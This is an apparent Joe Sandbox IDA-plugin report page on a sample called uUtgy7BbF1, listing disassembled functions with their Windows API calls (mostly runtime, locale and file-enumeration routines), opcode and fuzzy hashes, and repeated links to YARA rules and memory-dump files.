Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 3dbd1c702335d2dfd978cb689c6e0e01498261e1d2607fbc06b4b53f12e792aa
Instruction ID: ad33c7d25469b25c69ce221e5c9e6ab512792a34b3414592d8521a602a1ed60c
Opcode Fuzzy Hash: 3dbd1c702335d2dfd978cb689c6e0e01498261e1d2607fbc06b4b53f12e792aa
Instruction Fuzzy Hash: CBA16DB1A00605CFDB18DF58D88169DBBF6FB49324F18D26AE466E7390D339A944CF60

Function 00690CF8 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068C0E0: HeapAlloc.KERNEL32(00000008,?,?,?,0068B000,00000001,00000364,?,00000005,000000FF,?,0068495A,006A56B0,0000000C), ref: 0068C121

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00690E99
FindNextFileW.KERNEL32(00000000,?), ref: 00690F8D
FindClose.KERNEL32(00000000), ref: 00690FCC
FindClose.KERNEL32(00000000), ref: 00690FFF

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 6e4a59512f5a6de6ab964d0943872f19aa7e62b20e3bf9c9370a17215be2de5e
Instruction ID: 0c4d508f056bb44651c858bcd3c0a0676b2d0afa5de47e121fb903026a2d822b
Opcode Fuzzy Hash: 6e4a59512f5a6de6ab964d0943872f19aa7e62b20e3bf9c9370a17215be2de5e
Instruction Fuzzy Hash: CC515671900208AFEF20AF689C84AFE7BBFDF85314F14419DF81997701EA30AD469B64

Function 00690600 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00690654

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 222970d745bf15b32a0e6c10b19625c9c88227c5b8220d202df83d0f037f762d
Instruction ID: 506a067797b505878a2cd817793c05852c66ce4d2c4d3f0310d70c5244fbecdd
Opcode Fuzzy Hash: 222970d745bf15b32a0e6c10b19625c9c88227c5b8220d202df83d0f037f762d
Instruction Fuzzy Hash: 6E219272615216AFFF28AB24DC41ABA73AEEF84310B10017EFD05D6641EB75ED508B54

Function 00683EA0 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00684010

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 40289c1567f1b6fc8dce94732f4e725fc1e3f89aecf1415469904a5eb206e6af
Instruction ID: 76a2c0009131c309a60be2ecb0da3a2ef48b5557994415589f04660420cc1186
Opcode Fuzzy Hash: 40289c1567f1b6fc8dce94732f4e725fc1e3f89aecf1415469904a5eb206e6af
Instruction Fuzzy Hash: 60C1D0349007178FCB28EF68C5886BABBB3AF15700F14471DD69297791CB71AE45CB51

Function 00682AA1 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00682C25

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d3b274f97f4ecd0d426fbb9fd95278694e8a6b95b299200905725ca32f24b60b
Instruction ID: 544c6074bc05d790f8bdf82b086717c5cc7b3990e376c1c50e82b4c583546926
Opcode Fuzzy Hash: d3b274f97f4ecd0d426fbb9fd95278694e8a6b95b299200905725ca32f24b60b
Instruction Fuzzy Hash: 13B1F07090060B8BCB68AF68C9B56FEBBB3AF04314F14071DD852A7791D774DA42CB45

Function 006902B3 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

EnumSystemLocalesW.KERNEL32(0069034E,00000001,00000000,?,-00000050,?,0069013E,00000000,-00000002,00000000,?,00000055,?), ref: 00690325

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a776dfb7294371e33772f56d22b7563adaa91e6d53b3c22ba891dfed8d404ac5
Instruction ID: c902bae767b12ebd204ca8504623379af4999cd0ad8dc948b26ee433a35a4ae6
Opcode Fuzzy Hash: a776dfb7294371e33772f56d22b7563adaa91e6d53b3c22ba891dfed8d404ac5
Instruction Fuzzy Hash: 1011253A2043059FEF28AF39C8916BAB797FF80358B14452DE98687F40D371B942CB40

Function 00690720 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00690774

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 94d54b975f148a3d10edc4412e1981ada7833014abb1c084a1a89051a3204efa
Instruction ID: 01ff6481fe95770c5abcf7067df57c642425607783c58bffe2843a2a3949629f
Opcode Fuzzy Hash: 94d54b975f148a3d10edc4412e1981ada7833014abb1c084a1a89051a3204efa
Instruction Fuzzy Hash: 5F110672600106AFEB14AF68DC46ABA77EDEF04320B20027AF905D7641EB78ED018B94

Function 006908CD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0069056A,00000000,00000000,?), ref: 006908F9

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c653e14c4b565c459662cb79bbca9d19b59b52f4ec2b3f489f949b842fd6b5ce
Instruction ID: 7b8ee5e3ddaa93f453375d7abc329a298846682fd0b87fa3469e08450c3e8aad
Opcode Fuzzy Hash: c653e14c4b565c459662cb79bbca9d19b59b52f4ec2b3f489f949b842fd6b5ce
Instruction Fuzzy Hash: 8A01D632610112BFFF285A248C05BFA776EDB44754F154529ED4AA3A81EA70FE42CAD4

Function 006905A1 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

EnumSystemLocalesW.KERNEL32(00690600,00000001,?,?,-00000050,?,00690106,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 006905EB

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 00424293b5b7795704b8856a9f17485c692bfff4e6997914367ee3c77c463941
Instruction ID: 7a4cb9ffa42766ddcb18dd17e489f2cd384c2cf7d72177184d6439a6926ad7a7
Opcode Fuzzy Hash: 00424293b5b7795704b8856a9f17485c692bfff4e6997914367ee3c77c463941
Instruction Fuzzy Hash: 0CF0C8362043045FFF145F359881A7A7B9AEB80758F05452DFA4547A40D6B1AC028B54

Function 0068BFF0 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00687594: EnterCriticalSection.KERNEL32(?,?,0068B440,?,006A5B00,00000008,0068B332,?,?,?), ref: 006875A3

EnumSystemLocalesW.KERNEL32(0068BFE3,00000001,006A5B80,0000000C,0068B948,-00000050), ref: 0068C028

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 55352ed48389836b548eacc6649ce4a30fc9e2d2b3a5a50b828d6663332c9304
Instruction ID: b6188dd1f1861a9f239a870752872e21072e12936e6e4368296fa90799770715
Opcode Fuzzy Hash: 55352ed48389836b548eacc6649ce4a30fc9e2d2b3a5a50b828d6663332c9304
Instruction Fuzzy Hash: 8FF04F76A50304DFD740FF98E802B5D77F2EB49725F10515AF5119B290DB7659008F54

Function 006906D5 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

EnumSystemLocalesW.KERNEL32(00690720,00000001,?,?,?,00690160,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0069070C

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: da6e6d8957879be736fdcd7b7eaf66bc43f59cb1ae650efc3e02d9cf0b943e28
Instruction ID: 605abb9ef634bcb959a334cfa6ee934fb8308bb5a29444a6670b323fa0876c01
Opcode Fuzzy Hash: da6e6d8957879be736fdcd7b7eaf66bc43f59cb1ae650efc3e02d9cf0b943e28
Instruction Fuzzy Hash: 58F0553A3002045BDF14AF79DC457ABBFAAEFC1720B0B0058FA058BA80C671A843CB90

Function 0068BA4C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,006862F0,?,20001004,00000000,00000002,?,?,00685202), ref: 0068BA80

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7a91b69f5da075bb539a3e01f1d9bff12453c197c79c93b6601ef818f66d9aab
Instruction ID: f39e860134bad8bae74e86b2b36b9e8eb43e17a47b11252e35562e02358cfed3
Opcode Fuzzy Hash: 7a91b69f5da075bb539a3e01f1d9bff12453c197c79c93b6601ef818f66d9aab
Instruction Fuzzy Hash: 25E04F31544118BBCF227F61DC08EAE3F2BEF45791F016214FD1666221CFB2A921ABD8

Function 0067E420 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000E541), ref: 0067E425

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 39baa9bd9c601b6d7f117c67c6130bbf2472f3ebf6cd20bb9e64a6e355f6f5c5
Instruction ID: a4fe1335dd4ac9d8dc971747eea4f22ce80bc5648a940ac80642d0237886a393
Opcode Fuzzy Hash: 39baa9bd9c601b6d7f117c67c6130bbf2472f3ebf6cd20bb9e64a6e355f6f5c5
Instruction Fuzzy Hash:

Function 0068C705 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0068C705

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 52522cbd051c9e24f45403b8c0c97a7afe6464a8fc30ef661ff8e27c1ca42480
Instruction ID: 63bfab8aebe3450882db1a4e2481deb8b8d3748d4de07caa389e51f2b2fad141
Opcode Fuzzy Hash: 52522cbd051c9e24f45403b8c0c97a7afe6464a8fc30ef661ff8e27c1ca42480
Instruction Fuzzy Hash: DBA02230300300CF8B00AF32AF0830C3BEFAA83AC8308A828A008C2030EF30AC028F00

Function 00671000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84a31bd0b8bc4c37a8752f233291ee3a4cda8af82e8a58bc752253591d799b28
Instruction ID: cc07b02d75307164aa074db8f9e64934593ca84eb483c44bfb43b5681fbde6b9
Opcode Fuzzy Hash: 84a31bd0b8bc4c37a8752f233291ee3a4cda8af82e8a58bc752253591d799b28
Instruction Fuzzy Hash: F35179B0D102099FCB40DFA8D5919EEBBF5AB0A350F64945AE819FB310D734AA41CF65

Function 00671690 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c0e3cc90c27c2f49eb54f3a94144b2eee2cf69fbc6e6c318f9ff1701b7c041f
Instruction ID: d31b9274953be3c91f08d50fab4bf6043693c1d40d3cc1f8e18a12146e3e9aec
Opcode Fuzzy Hash: 0c0e3cc90c27c2f49eb54f3a94144b2eee2cf69fbc6e6c318f9ff1701b7c041f
Instruction Fuzzy Hash: E5D06C3AA45A58AFC210DF4AE840D41F7A9FB8E670B158466EA1893B20C231F811CEE0

Function 0069A1B2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(01114C70,01114C70,00000000,7FFFFFFF,?,0069A19D,01114C70,01114C70,00000000,01114C70,?,?,?,?,01114C70,00000000), ref: 0069A258
__alloca_probe_16.LIBCMT ref: 0069A313
__alloca_probe_16.LIBCMT ref: 0069A3A2
__freea.LIBCMT ref: 0069A3ED
__freea.LIBCMT ref: 0069A3F3
__freea.LIBCMT ref: 0069A429
__freea.LIBCMT ref: 0069A42F
__freea.LIBCMT ref: 0069A43F

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 5c7ffb065ea62333731ca489153e0a6f29990a2005e28cfe5c03ae8499b7880c
Instruction ID: acfe2d0dba9c9fc05706e937734e2dc5e805912f35fa8e4ce5320082f2f0fc1a
Opcode Fuzzy Hash: 5c7ffb065ea62333731ca489153e0a6f29990a2005e28cfe5c03ae8499b7880c
Instruction Fuzzy Hash: 6371F3729002459BEF21AFE48C81BEE77EFAF49710F284059E804A7781EA769D0187D2

Function 0068DC7B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0068DD01

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: cbff355201e6154b52781c3113966492e3c4af968235757aaf5a3f6f2afe1b0b
Instruction ID: 576021b09afc6409f7170cd32ad46e8875f385a152753421d5c04db468f97b58
Opcode Fuzzy Hash: cbff355201e6154b52781c3113966492e3c4af968235757aaf5a3f6f2afe1b0b
Instruction Fuzzy Hash: 52B13672A04255AFDB15AF68CC81BEEBBA7EF65310F144299E905AF3C2D274D901C7B0

Function 0067F7F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0067F827
___except_validate_context_record.LIBVCRUNTIME ref: 0067F82F
_ValidateLocalCookies.LIBCMT ref: 0067F8B8
__IsNonwritableInCurrentImage.LIBCMT ref: 0067F8E3
_ValidateLocalCookies.LIBCMT ref: 0067F938

Strings

csm, xrefs: 0067F8CD

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

